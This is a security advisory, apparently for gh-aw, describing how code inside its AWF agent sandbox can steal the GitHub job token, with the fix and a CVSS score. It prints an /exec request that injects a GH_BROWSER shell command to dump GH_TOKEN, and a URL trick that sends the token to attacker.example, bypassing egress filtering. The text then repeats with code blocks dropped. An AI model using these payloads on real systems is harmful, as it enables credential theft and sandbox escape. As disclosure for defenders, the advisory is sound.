gh-aw's credential sidecars do not isolate the job token from code running inside the AWF sandbox. I reproduced two independent bugs in the default cli-proxy/mcpg path. Together, sandboxed code can obtain the job credential and send it to an arbitrary HTTPS host despite token stripping and egress filtering.
cli-proxy merges an /exec caller's env into its own environment. GH_BROWSER is not protected. gh browse executes that value inside the sidecar, which holds GH_TOKEN, and returns stdout to the sandbox:
POST /exec
{"args":["browse","--repo","owner/repo"],"env":{"GH_BROWSER":"/bin/sh -c 'printenv GH_TOKEN'"}}
This returned the real ghs_ token from the credential-holding sidecar.
gh-aw-mcpg strips /api/v3 without requiring a following slash, then concatenates the remainder onto https://api.github.com:
/api/v3@attacker.example/proof
→ https://api.github.com@attacker.example/proof
The URL parser treats api.github.com as userinfo and sends the request, including the job token, to attacker.example. I reproduced this from inside the real AWF agent path while direct sandbox egress to the same host was blocked. The receiver used the token to read the private test repository and create an issue with the workflow's permissions.
If a workflow supplies GH_AW_GITHUB_TOKEN, the exposed credential may be a long-lived fine-grained PAT instead of the job-scoped Actions token.
This is per-job credential compromise, not cross-tenant access to shared GitHub infrastructure. The practical attacker must get code executed inside AWF; default fork restrictions often make that attacker a collaborator rather than an arbitrary GitHub user.
Resolution
Fixed in gh-aw v0.91.12. The updated CLI proxy closes the exploit chain at
multiple boundaries:
/exec accepts only command arguments and bounded stdin. Caller-controlled
environment variables, working directories, and unknown fields are rejected.
gh subprocesses receive an explicit server-owned environment with browser,
editor, pager, alternate-host, and local-file escape paths disabled.
- The sidecar no longer receives the ambient GitHub credential.
gh uses a
non-secret placeholder that the fixed-target HTTP shim removes before the
external proxy applies its own credential.
- Authority-changing API endpoint forms and commands that bypass the HTTP shim
through git or SSH are rejected before execution.
These controls prevent sandboxed code from extracting the job credential or
reaching the malformed MCPG routing path through the gh-aw CLI proxy. The
implementation is tracked in
github/gh-aw-firewall#9940.
Users should upgrade to gh-aw v0.91.12 or later and recompile existing
workflows so their generated lock files select the patched runtime.
CVSS v4.0 severity assessment
CVSS-B 9.2 (Critical)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:L/SA:N
The vulnerable system is the per-job credential sidecar environment, not shared GitHub infrastructure. The attacker already has low-privilege execution inside AWF (PR:L); exploitation is local to that job (AV:L), deterministic without a race or additional execution prerequisite (AC:L, AT:N), and needs no further human action (UI:N). Attacker-selected browser-hook execution compromises the credential-holding sidecar, permitting disclosure, modification and termination of that service (VC:H, VI:H, VA:H). The subsequent system is the token-authorized GitHub repository: the report demonstrates private-repository disclosure (SC:H) and issue creation (SI:L). No subsequent-system availability loss is established (SA:N). More powerful optional PAT permissions are not assumed. This score describes affected versions before v0.91.12.
This is a base-metric assessment of the vulnerable version. Threat and environmental metrics are not explicitly assigned; individual deployments may differ. Local/client access is a precondition, and indirect prompt-injection delivery may have different user-interaction requirements. Scoring follows the FIRST CVSS v4.0 specification; CVSS is owned by FIRST and used by permission. The score was calculated locally and cross-checked against GitHub’s native CVSS v4 calculator.
gh-aw's credential sidecars do not isolate the job token from code running inside the AWF sandbox. I reproduced two independent bugs in the default
cli-proxy/mcpgpath. Together, sandboxed code can obtain the job credential and send it to an arbitrary HTTPS host despite token stripping and egress filtering.cli-proxymerges an/execcaller'senvinto its own environment.GH_BROWSERis not protected.gh browseexecutes that value inside the sidecar, which holdsGH_TOKEN, and returns stdout to the sandbox:This returned the real
ghs_token from the credential-holding sidecar.gh-aw-mcpgstrips/api/v3without requiring a following slash, then concatenates the remainder ontohttps://api.github.com:The URL parser treats
api.github.comas userinfo and sends the request, including the job token, toattacker.example. I reproduced this from inside the real AWF agent path while direct sandbox egress to the same host was blocked. The receiver used the token to read the private test repository and create an issue with the workflow's permissions.If a workflow supplies
GH_AW_GITHUB_TOKEN, the exposed credential may be a long-lived fine-grained PAT instead of the job-scoped Actions token.This is per-job credential compromise, not cross-tenant access to shared GitHub infrastructure. The practical attacker must get code executed inside AWF; default fork restrictions often make that attacker a collaborator rather than an arbitrary GitHub user.
Resolution
Fixed in gh-aw
v0.91.12. The updated CLI proxy closes the exploit chain atmultiple boundaries:
/execaccepts only command arguments and bounded stdin. Caller-controlledenvironment variables, working directories, and unknown fields are rejected.
ghsubprocesses receive an explicit server-owned environment with browser,editor, pager, alternate-host, and local-file escape paths disabled.
ghuses anon-secret placeholder that the fixed-target HTTP shim removes before the
external proxy applies its own credential.
through git or SSH are rejected before execution.
These controls prevent sandboxed code from extracting the job credential or
reaching the malformed MCPG routing path through the gh-aw CLI proxy. The
implementation is tracked in
github/gh-aw-firewall#9940.
Users should upgrade to gh-aw
v0.91.12or later and recompile existingworkflows so their generated lock files select the patched runtime.
CVSS v4.0 severity assessment
CVSS-B 9.2 (Critical)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:L/SA:NThe vulnerable system is the per-job credential sidecar environment, not shared GitHub infrastructure. The attacker already has low-privilege execution inside AWF (PR:L); exploitation is local to that job (AV:L), deterministic without a race or additional execution prerequisite (AC:L, AT:N), and needs no further human action (UI:N). Attacker-selected browser-hook execution compromises the credential-holding sidecar, permitting disclosure, modification and termination of that service (VC:H, VI:H, VA:H). The subsequent system is the token-authorized GitHub repository: the report demonstrates private-repository disclosure (SC:H) and issue creation (SI:L). No subsequent-system availability loss is established (SA:N). More powerful optional PAT permissions are not assumed. This score describes affected versions before
v0.91.12.This is a base-metric assessment of the vulnerable version. Threat and environmental metrics are not explicitly assigned; individual deployments may differ. Local/client access is a precondition, and indirect prompt-injection delivery may have different user-interaction requirements. Scoring follows the FIRST CVSS v4.0 specification; CVSS is owned by FIRST and used by permission. The score was calculated locally and cross-checked against GitHub’s native CVSS v4 calculator.